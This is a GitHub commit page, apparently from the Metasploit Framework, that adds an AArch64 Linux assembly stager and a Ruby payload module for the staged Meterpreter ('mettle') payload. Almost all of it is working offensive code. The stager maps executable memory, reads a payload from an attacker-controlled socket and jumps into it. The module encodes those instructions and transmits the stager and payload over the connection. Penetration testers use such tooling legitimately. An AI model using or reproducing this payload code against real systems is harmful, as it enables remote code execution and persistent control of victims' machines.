Skip to content

Commit a239699

Browse files
committed
stager not setting up stack
1 parent 6dbe001 commit a239699

File tree

2 files changed

+246
-0
lines changed

2 files changed

+246
-0
lines changed
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
.equ SYS_READ, 0x3f
2+
.equ SYS_MMAP, 0xde
3+
.equ SYS_EXIT, 0x5d
4+
5+
.equ SIZE, 0xeeeeeeee
6+
.equ ENTRY, 0xffffffff
7+
8+
start:
9+
adr x2, size
10+
ldr w2, [x2]
11+
mov x10, x2
12+
13+
/* Page-align, assume <4GB */
14+
lsr x2, x2, #12
15+
add x2, x2, #1
16+
lsl x2, x2, #12
17+
18+
/* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
19+
mov x0, xzr
20+
mov x1, x2
21+
mov x2, #7
22+
mov x3, #34
23+
mov x4, xzr
24+
mov x5, xzr
25+
mov x8, SYS_MMAP
26+
svc 0
27+
28+
/* Grab the saved size, save the address */
29+
mov x4, x10
30+
31+
/* Save the memory address */
32+
mov x3, x0
33+
mov x10, x0
34+
35+
read_loop:
36+
/* read(sockfd, buf='x3', nbytes='x4') */
37+
mov x0, x12
38+
mov x1, x3
39+
mov x2, x4
40+
mov x8, SYS_READ
41+
svc 0
42+
cbz w0, failed
43+
add x3, x3, x0
44+
subs x4, x4, x0
45+
bne read_loop
46+
47+
/* set up the initial stack */
48+
/*
49+
50+
add sp, sp, #80
51+
mov x4, #109
52+
eor x5, x5, x5
53+
stp x4, x5, [sp, #-16]!
54+
55+
mov x1,#2
56+
mov x2,sp
57+
mov x3,#0
58+
59+
mov x4,#2
60+
mov x5,sp
61+
mov x6,x12
62+
mov x7,#0
63+
mov x8,#0
64+
mov x9,#7
65+
mov x10,x10
66+
mov x11,#0
67+
mov x12,#0
68+
69+
eor x0, x0, x0
70+
eor x1, x1, x1
71+
eor x2, x2, x2
72+
eor x3, x3, x3
73+
stp x4, x5, [sp, #-16]!
74+
stp x6, x7, [sp, #-16]!
75+
stp x7, x8, [sp, #-16]!
76+
stp x9, x10, [sp, #-16]!
77+
stp x11, x12, [sp, #-16]!
78+
*/
79+
80+
adr x0, entry
81+
ldr x0, [x0]
82+
// entry_offset + mmap
83+
add x0, x0, x10
84+
85+
mov x8, x0
86+
87+
88+
/* Set up the fake stack.
89+
For whatever reason, aarch64 binaries really want AT_RANDOM
90+
to be available. */
91+
/* AT_NULL */
92+
eor x0, x0, x0
93+
eor x1, x1, x1
94+
stp x0, x1, [sp, #-16]!
95+
/* AT_RANDOM */
96+
mov x2, #25
97+
mov x3, sp
98+
stp x2, x3, [sp, #-16]!
99+
100+
/* argc, argv[0], argv[1], envp */
101+
/* ideally these could all be empty, but unfortunately
102+
we have to keep the stack aligned. it's easier to
103+
just push an extra argument than care... */
104+
stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */
105+
mov x0, 1
106+
mov x1, sp
107+
stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */
108+
109+
br x8
110+
111+
/*
112+
mov x0, #109
113+
mov x1, x12
114+
stp x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */
115+
/* mov x0, 2
116+
mov x1, sp
117+
stp x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */
118+
119+
/*
120+
blr x8
121+
*/
122+
123+
failed:
124+
mov x0, 0
125+
mov x8, SYS_EXIT
126+
svc 0
127+
128+
.balign 16
129+
size:
130+
.word SIZE
131+
.word 0
132+
entry:
133+
.word ENTRY
134+
.word 0
135+
m:
136+
.word 0x0000006d
137+
.word 0x00000000
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/base/sessions/meterpreter_aarch64_linux'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'rex/elfparsey'
10+
11+
module MetasploitModule
12+
include Msf::Sessions::MeterpreterOptions
13+
include Msf::Sessions::MettleConfig
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'Linux Meterpreter',
20+
'Description' => 'Inject the mettle server payload (staged)',
21+
'Author' => [
22+
'Adam Cammack <adam_cammack[at]rapid7.com>'
23+
],
24+
'Platform' => 'linux',
25+
'Arch' => ARCH_AARCH64,
26+
'License' => MSF_LICENSE,
27+
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
28+
)
29+
)
30+
end
31+
32+
def elf_ep(payload)
33+
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
34+
elf.elf_header.e_entry
35+
end
36+
37+
def handle_intermediate_stage(conn, payload)
38+
entry_offset = elf_ep(payload)
39+
40+
# Generated from external/source/shellcode/linux/aarch64/stage_mettle.s
41+
midstager = [
42+
43+
44+
45+
0x10000582, # adr x2, b0 <size>
46+
0xb9400042, # ldr w2, [x2]
47+
0xaa0203ea, # mov x10, x2
48+
0xd34cfc42, # lsr x2, x2, #12
49+
0x91000442, # add x2, x2, #0x1
50+
0xd374cc42, # lsl x2, x2, #12
51+
0xaa1f03e0, # mov x0, xzr
52+
0xaa0203e1, # mov x1, x2
53+
0xd28000e2, # mov x2, #0x7 // #7
54+
0xd2800443, # mov x3, #0x22 // #34
55+
0xaa1f03e4, # mov x4, xzr
56+
0xaa1f03e5, # mov x5, xzr
57+
0xd2801bc8, # mov x8, #0xde // #222
58+
0xd4000001, # svc #0x0
59+
0xaa0a03e4, # mov x4, x10
60+
0xaa0003e3, # mov x3, x0
61+
0xaa0003ea, # mov x10, x0
62+
0xaa0c03e0, # mov x0, x12
63+
0xaa0303e1, # mov x1, x3
64+
0xaa0403e2, # mov x2, x4
65+
0xd28007e8, # mov x8, #0x3f // #63
66+
0xd4000001, # svc #0x0
67+
0x34000260, # cbz w0, a4 <failed>
68+
0x8b000063, # add x3, x3, x0
69+
0xeb000084, # subs x4, x4, x0
70+
0x54ffff01, # b.ne 44 <read_loop>
71+
0x10000280, # adr x0, b8 <entry>
72+
0xf9400000, # ldr x0, [x0]
73+
0x8b0a0000, # add x0, x0, x10
74+
0xaa0003e8, # mov x8, x0
75+
0xca000000, # eor x0, x0, x0
76+
0xca010021, # eor x1, x1, x1
77+
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
78+
0xd2800322, # mov x2, #0x19 // #25
79+
0x910003e3, # mov x3, sp
80+
0xa9bf0fe2, # stp x2, x3, [sp,#-16]!
81+
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
82+
0xd2800020, # mov x0, #0x1 // #1
83+
0x910003e1, # mov x1, sp
84+
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
85+
0xd61f0100, # br x8
86+
0xd2800000, # mov x0, #0x0 // #0
87+
0xd2800ba8, # mov x8, #0x5d // #93
88+
0xd4000001, # svc #0x0
89+
payload.length,
90+
0x00000000, # .word 0x00000000
91+
entry_offset,
92+
0x00000000, # .word 0x00000000
93+
0x0000006d, # .word 0x0000006d
94+
0x00000000, # .word 0x00000000
95+
0xd503201f, # nop
96+
0xd503201f, # nop
97+
].pack('V*')
98+
99+
print_status("Transmitting intermediate midstager...(#{midstager.length} bytes)")
100+
print_status("Transmitting intermediate paystager...(#{payload.length} bytes)")
101+
conn.put([midstager.length].pack('V'))
102+
conn.put(midstager) == midstager.length
103+
end
104+
105+
def generate_stage(opts = {})
106+
MetasploitPayloads::Mettle.new('aarch64-linux-musl',
107+
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image
108+
end
109+
end

0 commit comments

Comments
 (0)